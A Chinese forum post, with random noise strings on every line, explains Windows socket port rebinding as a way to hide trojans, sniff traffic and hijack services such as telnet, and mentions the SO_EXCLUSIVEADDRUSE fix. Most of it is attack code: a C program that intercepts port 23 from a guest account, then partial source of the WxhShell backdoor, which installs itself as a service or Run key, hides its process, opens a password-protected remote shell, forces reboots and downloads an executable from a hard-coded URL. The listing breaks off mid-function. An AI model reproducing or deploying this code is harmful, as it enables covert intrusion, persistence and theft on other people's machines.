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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `;b@a<Wl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WyVFh AuU  
Z8nj9X$   
  saddr.sin_family = AF_INET; k|Vq-w  
Zh`lC1l'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~\`lbGJ7?  
!s#25}9zX5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qd"1KzQWO  
7P O3{I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6lO]V=+  
VTySKY+  
  这意味着什么?意味着可以进行如下的攻击: kA?a}   
`E>HpRcxD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w\k|^  
C J S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )ALPMmlRs  
M>dP 1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I&]d6,  
|WH'aGG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QlJ cj+_h  
h`dtcJ0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {8UYu2t  
*"` dO9Yf_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qLBXyQ;U  
Y~Y-L<`I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9{|JmgO!  
F<q'ivj:w  
  #include m\`dLrPX4j  
  #include zF6 R\w  
  #include R/r)l<X@  
  #include    5=tvB,Ux4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3TqC.S5+  
  int main() w@Uw8b  
  { LnIln[g:  
  WORD wVersionRequested; D"0:n.  
  DWORD ret; PVHJIB  
  WSADATA wsaData; *LpEH,J  
  BOOL val; 6s\niro2  
  SOCKADDR_IN saddr;  S[!K  
  SOCKADDR_IN scaddr; \$Y Kw0K  
  int err; :b)IDcW&j:  
  SOCKET s; =gS?atbX  
  SOCKET sc; J#vIz  Q  
  int caddsize; $ysemDq-a\  
  HANDLE mt; `Bk7W]{L  
  DWORD tid;   R>SS\YC'X  
  wVersionRequested = MAKEWORD( 2, 2 ); )I'?]p<  
  err = WSAStartup( wVersionRequested, &wsaData ); C( 8i0(1  
  if ( err != 0 ) { W[BZ/   
  printf("error!WSAStartup failed!\n"); t!Q uM_i3  
  return -1; jY%&G#4  
  } 6nh!g  
  saddr.sin_family = AF_INET; ;q]Jm  
   dfY(5Wc+f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GL$!JKWp  
0X@!i3eu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b/'{6zn  
  saddr.sin_port = htons(23); WZO8|hY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q`z/ S>  
  { V(_OyxeC{2  
  printf("error!socket failed!\n"); 2^w3xL"   
  return -1; WV&T   
  } H,`F%G#!`q  
  val = TRUE; lxb+0fiN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P' .MwS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .zQ:u{FT  
  { )9F-h8 &"  
  printf("error!setsockopt failed!\n"); %jz]s4u$5j  
  return -1; 0fwmQ'lW(  
  } |N_tVE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m3W:\LTTp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ST$~l7p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )3 #gpM  
Fw5|_@&k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) X{4jyi-<  
  { /a.4atb0  
  ret=GetLastError(); ?q a  
  printf("error!bind failed!\n"); |U{9Yy6p  
  return -1; F: %-x=q  
  } ly"Jl8/<  
  listen(s,2); pgbm2mT9  
  while(1) 0$)s? \  
  { EdFCaW}""  
  caddsize = sizeof(scaddr); "%fh`4y3\  
  //接受连接请求 0/K?'&$yvb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 873$EiyXR  
  if(sc!=INVALID_SOCKET) ]j> W9n?  
  { hkV;(Fr&z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {hQ0=rv<  
  if(mt==NULL) S :)Aj6>6  
  { Y~\71QE>  
  printf("Thread Creat Failed!\n"); su;u_rc,  
  break; wKOljE6d  
  } _: @~ bHd  
  } uQh dg4  
  CloseHandle(mt); X[/>{rK  
  } .nN=M>#/  
  closesocket(s); 4x7(50hp#  
  WSACleanup(); vD<6BQR  
  return 0; iUSP+iC,  
  }   *69{#qN  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0K/Pth"*  
  { S_; 5mb+b  
  SOCKET ss = (SOCKET)lpParam; Gl8D GELl;  
  SOCKET sc; <vMna< /d  
  unsigned char buf[4096]; 8B#;ffkmN  
  SOCKADDR_IN saddr; t8X$M;$  
  long num; u=_"* :}  
  DWORD val; qLrvKoEX2  
  DWORD ret; &"H xAK)f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ku;|Dz/=o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \f| Hk*@  
  saddr.sin_family = AF_INET; DV+M;rs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t Gt/=~n9  
  saddr.sin_port = htons(23); iMG)zPj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %smQ`u|  
  { 5ncjv@Aa  
  printf("error!socket failed!\n"); *+(t2!yFmE  
  return -1; UNLmnj;-Q  
  } X3[gi`  
  val = 100; W\]bh'(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;R[  xo!  
  { 1 & G0;  
  ret = GetLastError(); |OW/-&)  
  return -1; =&+]>g{T  
  } 337y,;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eC%uu  
  { C]S~DK1  
  ret = GetLastError(); B ~u9"SR.  
  return -1; 6oTWW@  
  } {g8uMt\4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kk|7{83O  
  { G!]%xFwYa  
  printf("error!socket connect failed!\n"); ,RmXZnWY  
  closesocket(sc); h>ZNPP8N  
  closesocket(ss); 9%fd\o@X  
  return -1; '{]1!yMh  
  } E/bIq}R6  
  while(1) K:!){a[  
  { Xge]3Ub  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J%VcvBaJm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0$=Uhi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?O(@BT  
  num = recv(ss,buf,4096,0); BR&T,x/d  
  if(num>0) ]5(T{  
  send(sc,buf,num,0); 'I$-h<W  
  else if(num==0) 8: #\g  
  break; pe^hOzVv  
  num = recv(sc,buf,4096,0); \YUl$d0  
  if(num>0) )m8ve)l  
  send(ss,buf,num,0); [3$L}m  
  else if(num==0) B$A`thQp  
  break; R-7.q  
  } Z_b^K^4  
  closesocket(ss); 1XfH,6\8i  
  closesocket(sc); {u!Q=D$3  
  return 0 ; Yz<,`w5/6~  
  } V+\L@mz;  
nP]tc  
Q?"o.T';  
========================================================== zzlqj){F  
JFOto,6L:  
下边附上一个代码,,WXhSHELL :TU|;(p  
E`E$ }iLs  
========================================================== bBx.snBK  
|W't-}yf  
#include "stdafx.h" }iGpuoXT`  
@|I:A  
#include <stdio.h> R$>]7-N}  
#include <string.h> @ P:b\WCI  
#include <windows.h> 0[A4k:  
#include <winsock2.h> {;:QY 1Q T  
#include <winsvc.h> 2bJqZ,@  
#include <urlmon.h> Lj]I7ICNh  
.&z/p3 1  
#pragma comment (lib, "Ws2_32.lib") T6/d[SH>  
#pragma comment (lib, "urlmon.lib") T >pz/7gb  
Y!3Mm*  
#define MAX_USER   100 // 最大客户端连接数 3k%fY  
#define BUF_SOCK   200 // sock buffer woSO4e/  
#define KEY_BUFF   255 // 输入 buffer )gX7qQ  
z@70{*  
#define REBOOT     0   // 重启 0^%\! Xxq  
#define SHUTDOWN   1   // 关机 3K{XT),  
A%Ov.~&\G  
#define DEF_PORT   5000 // 监听端口 O &/9wi>!q  
r'TxYM-R  
#define REG_LEN     16   // 注册表键长度 [_$r-FA  
#define SVC_LEN     80   // NT服务名长度 3o).8b_3g  
Vgh;w-a  
// 从dll定义API Z)JJ-V!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $x5,Oen  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b*;zdGX.A9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f82$_1s^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?nVwT[  
Vki'pAN  
// wxhshell配置信息 It5U=PU  
struct WSCFG { M lv  
  int ws_port;         // 监听端口 iTX:*$~I  
  char ws_passstr[REG_LEN]; // 口令 1\'?.  
  int ws_autoins;       // 安装标记, 1=yes 0=no R1!F mZW8  
  char ws_regname[REG_LEN]; // 注册表键名 ;f]p`!] 3  
  char ws_svcname[REG_LEN]; // 服务名 ^A&i$RRO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jwP}{mi*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .2K4<UOAbm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,5Vc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \IL;}D{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fPW|)e"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ujlIWQU2mo  
'7'*+sgi$  
}; Mx-? &  
,H_b@$]n8  
// default Wxhshell configuration P4\{be>e  
struct WSCFG wscfg={DEF_PORT, "PFczoRZ  
    "xuhuanlingzhe", E?VPCx  
    1, 0r4,27w  
    "Wxhshell", &1=Je$,  
    "Wxhshell", k!&G ;6O-  
            "WxhShell Service", |igr3p5Fw  
    "Wrsky Windows CmdShell Service", Z$UPLg3=;_  
    "Please Input Your Password: ", bCV3h3<  
  1, TO(2n8'fdO  
  "http://www.wrsky.com/wxhshell.exe", 5hhiP2q  
  "Wxhshell.exe" /*V:Lh  
    }; 2s^9q9NS"  
o {W4@:Ib  
// 消息定义模块 R*"31&3le4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qkk3>{I  
char *msg_ws_prompt="\n\r? for help\n\r#>";  +*W9*gl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3 s@6pI  
char *msg_ws_ext="\n\rExit."; y v$@i A  
char *msg_ws_end="\n\rQuit."; |8QXjzH  
char *msg_ws_boot="\n\rReboot..."; 2H,^i,  
char *msg_ws_poff="\n\rShutdown..."; FW~{io]n  
char *msg_ws_down="\n\rSave to "; .Mn_T*F  
z~O#0Q !  
char *msg_ws_err="\n\rErr!"; pCB^\M%*  
char *msg_ws_ok="\n\rOK!"; O^Y}fo'  
=up!lg^M  
char ExeFile[MAX_PATH]; \d"uR@$3mG  
int nUser = 0; T[ ~8u9/  
HANDLE handles[MAX_USER]; h20<X;  
int OsIsNt; }\iH~T6  
!=)R+g6b  
SERVICE_STATUS       serviceStatus; 8!R +wy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sp&s 5aw  
;s^br17z~  
// 函数声明 `:aml+  
int Install(void); ^R g=*L  
int Uninstall(void); ^| b]E  
int DownloadFile(char *sURL, SOCKET wsh); ZqDanDM  
int Boot(int flag); iXF iFsb  
void HideProc(void); z: ;ZPSn  
int GetOsVer(void); +qWrm |O]  
int Wxhshell(SOCKET wsl); ~PTqR2x  
void TalkWithClient(void *cs); gv6}GE  
int CmdShell(SOCKET sock); @]{+9m8G@  
int StartFromService(void); IIZu&iZo\  
int StartWxhshell(LPSTR lpCmdLine); wsfN \6e  
zL^`r)H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fGwRv% $^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~BUzyc%  
6~oo.6bA  
// 数据结构和表定义 z1K}] z%  
SERVICE_TABLE_ENTRY DispatchTable[] = a>05Yxw  
{ : \{>+!`w  
{wscfg.ws_svcname, NTServiceMain}, +i\ +bR  
{NULL, NULL} q7z;bA  
}; .wdWs tQ  
;Dw6pmZ  
// 自我安装 \*wQ%_N5  
int Install(void) `<?{%ja  
{ (TX\vI&  
  char svExeFile[MAX_PATH]; u|.c?fW'3  
  HKEY key; EgYM][:UU  
  strcpy(svExeFile,ExeFile); M0B6v} ^H  
ytmFe!  
// 如果是win9x系统,修改注册表设为自启动 !1X^lFf;~  
if(!OsIsNt) { z PW[GkD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KTmduf7DL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XEUy,>mR  
  RegCloseKey(key); S-5|t]LV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !vrdu OB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |}FK;@'I6  
  RegCloseKey(key); D*nNu]|j  
  return 0; [|vE*&:uO  
    } 1xBg^  
  } Z$X[x7e.  
} x;w^&<hQ\  
else { G*`H2-,  
n[E#K`gg'  
// 如果是NT以上系统,安装为系统服务 f%g^6[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FX yyY-(O  
if (schSCManager!=0) San=E@3}v!  
{ sC< B  
  SC_HANDLE schService = CreateService }C'H@:/  
  ( #GlQwk3  
  schSCManager, e@`"V,i  
  wscfg.ws_svcname, ZCcKY6b  
  wscfg.ws_svcdisp, =*[98%b   
  SERVICE_ALL_ACCESS, .{=|N8*py8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , en5sqKqh+  
  SERVICE_AUTO_START, q!qOy/}D  
  SERVICE_ERROR_NORMAL, |e%o  
  svExeFile, l>kREfHq!{  
  NULL, >l>;"R9N  
  NULL, }|Ao@UvH  
  NULL, 4t]YHLBS  
  NULL, _Yms]QEZ  
  NULL }+m")=1{  
  ); R.Uwf  
  if (schService!=0) Q4[^JQsR2  
  { Y30T>5  
  CloseServiceHandle(schService); H}p5qW.tH:  
  CloseServiceHandle(schSCManager); @:ojt$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5gg Yg $  
  strcat(svExeFile,wscfg.ws_svcname); b@> MA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zxo" +j4Ym  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +n>_NVe  
  RegCloseKey(key); `"-ln'nw  
  return 0; \ y^Ho1Fj  
    } %x]8^vze  
  } h{5K9$9=  
  CloseServiceHandle(schSCManager); h,!#YG@>  
} L3@upb  
} Ld9YbL:  
K8R}2K-Y  
return 1; !Z}d^$  
} q b[UA5S\`  
2C &G' @>  
// 自我卸载 AWG;G+  
int Uninstall(void) :|5 \XV)>  
{ Rn4Bl8z'>  
  HKEY key; jMAZ4M  
?b,x;hIO  
if(!OsIsNt) { jfOqE*frl!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KT9!R  
  RegDeleteValue(key,wscfg.ws_regname); [dXpz^Co  
  RegCloseKey(key); ^tr?y??k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1[ 4)Sq?  
  RegDeleteValue(key,wscfg.ws_regname); q; n  
  RegCloseKey(key); d'okXCG  
  return 0; d$?sS9"8(  
  } oR1HJ2>Z1  
} L T2UY*  
} |n/qJIE6  
else { !%lcn O  
pVa9g)+z}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2K~<_.S  
if (schSCManager!=0) ]}za  
{ AY B~{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $-Yq?:  
  if (schService!=0) q-lejVS(g  
  { ?r}'0dW  
  if(DeleteService(schService)!=0) { ER'zjI>t@  
  CloseServiceHandle(schService); {: H&2iF  
  CloseServiceHandle(schSCManager); ~rl,Hr3Z o  
  return 0; \8}!aTC  
  } &%\H170S  
  CloseServiceHandle(schService); ~B2,edkM  
  } ~w,c6 Z  
  CloseServiceHandle(schSCManager); e%wzcn  
} {}A1[ Y|  
} $[*QsU%%  
]aDU*tk  
return 1; tF&g3)D:NV  
} %0MvCm  
WW&ag r  
// 从指定url下载文件 *)| EWT?,  
int DownloadFile(char *sURL, SOCKET wsh) P =jRof$  
{ 0g{`Qd  
  HRESULT hr; mFa%d8Y  
char seps[]= "/"; m(0c|-  
char *token; y~'h/tjM@=  
char *file; u6 lcl}'  
char myURL[MAX_PATH]; 9ZVzIv(   
char myFILE[MAX_PATH]; $E,,::oJ  
t8:QK9|1  
strcpy(myURL,sURL); /qwl;_Jcf  
  token=strtok(myURL,seps); "WfVZBWG$  
  while(token!=NULL) 7+2DsZ^6MW  
  { Q8GI;`Rb  
    file=token; H(rK39Q  
  token=strtok(NULL,seps); _B6W:k|-7l  
  } ,"xr^@W  
$uj3W<iw3E  
GetCurrentDirectory(MAX_PATH,myFILE); >&Ios<67g  
strcat(myFILE, "\\"); OC5\3H  
strcat(myFILE, file); nb|KIW  
  send(wsh,myFILE,strlen(myFILE),0); M8y:FDX  
send(wsh,"...",3,0); 7ZR0cJw;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P~^VLnw  
  if(hr==S_OK) Iss)7I  
return 0; ON-zhT?v  
else 0vjlSHS;`.  
return 1; .kf FaK  
~C31=\$  
} |1/UC"f  
;%`oS.69  
// 系统电源模块 ;_dOYG1  
int Boot(int flag) TO5#iiM)  
{ CxbGL  
  HANDLE hToken; G}V5PEF]`  
  TOKEN_PRIVILEGES tkp; ~bnyk%S o  
VoG:3qN  
  if(OsIsNt) { 69iY)Ob/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cME|Lg(J$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {?YBJnG}x  
    tkp.PrivilegeCount = 1; `"s*'P398  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3X:)r<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k,h /B  
if(flag==REBOOT) { jnzOTS   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9=5xt;mEs}  
  return 0; /!A?>#O&.  
} O]cuJp  
else { {W11+L{8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]*v [6 +  
  return 0; o$rA;^2X  
} Y=$PsDh!  
  } I3^}$#>  
  else { <_ruVy0]  
if(flag==REBOOT) { Gv\:Agi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;^f ;<  
  return 0; CBKLct>  
} );!IGcgF  
else { < .knM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AV]7l}-  
  return 0; ; nc3O{rU  
} nAT,y9&  
} Q^} Ib[  
6^VPRp  
return 1; Em]2K:  
} 5D6 ,B  
,ui=Wi1  
// win9x进程隐藏模块 _)XZ;Q  
void HideProc(void) ,k |QuOrCh  
{ y}*J_7-  
J>dIEW%u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EGw;IFj)  
  if ( hKernel != NULL ) vT{+Z\LL=  
  { E]c0+rh~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }l<:^lX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ko+fJ&$  
    FreeLibrary(hKernel); TMw6 EM  
  } ]9lR:V sw  
H#:Aby-d}  
return; IcJQC  
} PdqyNn=  
ZE:!>VXa87  
// 获取操作系统版本 vJ9IDc|[  
int GetOsVer(void) /I48jO^2  
{ =Y {<&:%(  
  OSVERSIONINFO winfo; _@@.VmZL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sIzy/W0iV  
  GetVersionEx(&winfo); 7fXta|eP0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {v,NNKQ4x  
  return 1; bR'UhPs-8;  
  else 3XSfXS{lwP  
  return 0; oYAHyCkVq  
} r?2J   
` #; "  
// 客户端句柄模块 3,^.  
int Wxhshell(SOCKET wsl) ngOGo =  
{ KXT9Wt=  
  SOCKET wsh; -LU%z'  
  struct sockaddr_in client; C17$ qdV/  
  DWORD myID; 4vJg"*?  
C+%6N@  
  while(nUser<MAX_USER) Y6RbRcJw  
{ ApTE:Fm1  
  int nSize=sizeof(client); NnRX0]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &a!MT^anA~  
  if(wsh==INVALID_SOCKET) return 1; &cZl2ynPi  
S1a6uE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SsCV}[  
if(handles[nUser]==0) ~v6]6+   
  closesocket(wsh); i9eE/ .  
else ]{ir^[A6  
  nUser++; Cs'<;|r(  
  } 821;;]H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q" G;L  
^t Y _ q  
  return 0; xQDWnpFc  
} gTb%c84  
.~,=?aq^  
// 关闭 socket -T2w?|  
void CloseIt(SOCKET wsh) O"~CZh,:r}  
{ u$<>8aMei  
closesocket(wsh); ZVz`g]  
nUser--; Eg(.L,dj  
ExitThread(0); 6PT"9vR`)  
} I~Q G  
<.=-9O6  
// 客户端请求句柄   bKt4  
void TalkWithClient(void *cs) nLY(%):(P  
{ zALtG<_t  
Slv91c&md,  
  SOCKET wsh=(SOCKET)cs; gMsB1|  
  char pwd[SVC_LEN]; Z '~Ie~  
  char cmd[KEY_BUFF]; j:7AVnt  
char chr[1]; u;9a/RI  
int i,j; c@Xb6z_>  
5;X r0f  
  while (nUser < MAX_USER) { |ZG0E  
s)G?5Gz  
if(wscfg.ws_passstr) { {ObUJ3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C#TP1~6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C."\ a_p  
  //ZeroMemory(pwd,KEY_BUFF); ;: 0<(!^*  
      i=0; k:8NOx|s"  
  while(i<SVC_LEN) { t"?)x&dS  
$]gflAe2  
  // 设置超时 <72q^w  
  fd_set FdRead; NA+7ey6  
  struct timeval TimeOut; yX.; x 0  
  FD_ZERO(&FdRead); HcM/  
  FD_SET(wsh,&FdRead); 5'/ff=  
  TimeOut.tv_sec=8; ;)q"X>FMZe  
  TimeOut.tv_usec=0; -8yN6 0|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hv*XuT/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {uurLEe?  
3.6Gh|7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1D1qOg"LE  
  pwd=chr[0]; fZb}-  
  if(chr[0]==0xd || chr[0]==0xa) { Gn^m541  
  pwd=0; $"ACg!=M  
  break; ;tC$O~X  
  } JHa\"h  
  i++; V[0 ZNT&  
    } Jwpc8MQ  
|t~*!0>3  
  // 如果是非法用户,关闭 socket fR]KXfZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KNjU!Z/4  
} A<+1:@0  
VIg6'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L *cP8v4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8^67,I-c  
L_q3m-x0h  
while(1) { WAf"|  
C{~O!^2G  
  ZeroMemory(cmd,KEY_BUFF); 7^<6|>j4  
3mhjwgP<nn  
      // 自动支持客户端 telnet标准   i,wZNX  
  j=0; G5ShheZd  
  while(j<KEY_BUFF) { }#S1!TU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "s}Oeu[  
  cmd[j]=chr[0]; gYBMi)`RT  
  if(chr[0]==0xa || chr[0]==0xd) { v.hQ 9#:  
  cmd[j]=0; $HCgawQ  
  break; *U- :2uf  
  } T+oOlug  
  j++; B!U;a=ia  
    } [I}z\3Z %  
ueEf>0  
  // 下载文件 e.fxB  
  if(strstr(cmd,"http://")) { *fz#B/ _o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 10xza=a  
  if(DownloadFile(cmd,wsh)) a(LtiO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FKUo^F?z  
  else Bj GfUQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I&`aGnr^^  
  } GT\ yjrCd  
  else {  ozKS<<  
l,Fn_zO  
    switch(cmd[0]) { fL*+[v4  
  }<zbx*!  
  // 帮助 F\^\,hy  
  case '?': { ]Ljb&*IEj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q\>mg*79  
    break; X#HH7V>  
  } nu Vux5:  
  // 安装 %y7ZcH'  
  case 'i': { K0D|p$v  
    if(Install()) zB/VS_^^W:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o]]sm}3N  
    else tu(^D23  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \01 kK)  
    break; r&IDTS#  
    } DP;:%L}  
  // 卸载 j+e~ tCcN/  
  case 'r': { t+K1ArQc  
    if(Uninstall()) :^U>n{   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UA(4mbz+  
    else @v3)N[|d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z$L e,+  
    break; vK`HgRQ(C  
    } '$rCV,3q  
  // 显示 wxhshell 所在路径 gAVD-]`  
  case 'p': { !c dY`f6x  
    char svExeFile[MAX_PATH]; K-@\";whF  
    strcpy(svExeFile,"\n\r"); "$D'gS oYe  
      strcat(svExeFile,ExeFile); 'Lw8l `7  
        send(wsh,svExeFile,strlen(svExeFile),0); mn\A)R Q  
    break; OMM5ALc(F  
    } 5=I"bnIU  
  // 重启 bI`JG:^b  
  case 'b': { 0 /9 C=v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \hn$-'=4  
    if(Boot(REBOOT)) 78r0K 5=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xvoz4'Gme  
    else { 1Wiz0X/  
    closesocket(wsh); wS+!>Q_]w  
    ExitThread(0); b- bvkPN  
    } j dz IU  
    break; X8ZO } X  
    } ' sNiJ>  
  // 关机 ~ch%mI~  
  case 'd': { ,fqM>Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L62%s[  
